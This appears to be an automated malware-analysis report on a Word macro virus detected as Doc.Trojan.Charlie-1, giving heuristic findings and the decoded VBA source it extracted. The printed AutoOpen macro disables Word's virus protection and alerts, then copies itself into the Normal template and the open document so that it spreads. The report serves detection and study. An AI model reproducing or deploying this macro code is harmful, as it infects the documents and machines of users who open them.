Malware Insights
The sample is a malicious Word document containing a VBA macro named 'AutoOpen'. This macro is designed to export itself to 'c:\Windows\Command\Charles.sys' and then import this exported component into the Normal template and the current document, likely to ensure persistence. The macro also attempts to disable security features and displays a message box, indicating a deliberate attempt to execute malicious code. The presence of the 'AutoOpen' macro and the export/import functionality strongly suggests a downloader or persistence mechanism.
Heuristics 4
-
ClamAV: Doc.Trojan.Charlie-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Charlie-1
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1276 bytes |
SHA-256: 2cb6578894fc62037649e9ca2769ecd3b486c6d61add3ab15cab1aae9cb37713 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "Charlie"
Sub AutoOpen()
On Error Resume Next
Options.VirusProtection = False
Options.SaveNormalPrompt = False
Application.EnableCancelKey = wCancelDisabled
Application.DisplayStatusBar = False
Application.ScreenUpdating = False
Application.DisplayAlerts = wdAlertsNone
Set Doc = ActiveDocument.VBProject.VBComponents
Set Tmp = NormalTemplate.VBProject.VBComponents
Const ExportSource = "c:\Windows\Command\Charles.sys"
Const VirName = "Charlie"
Application.VBE.ActiveVBProject.VBComponents("Charlie").Export ExportSource
For i = 1 To Tmp.Count
If Tmp(i).Name = VirName Then TmpInstalled = 1
Next i
For j = 1 To Doc.Const
If Doc(j).Name = VirName Then DocInstalled = 1
Next j
If TmpInstalled = 0 Then
Tmp.Import ExportSource
NormalTemplate.Save
End If
If DocInstalled = 0 Then
Doc.Import ExportSource
ActiveDocument.SaveAs FileName:=ActiveDocumen.FullName
End If
MsgBox "It Is Waiting For You Mr. Charles", 0, "Word.Charlie"
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.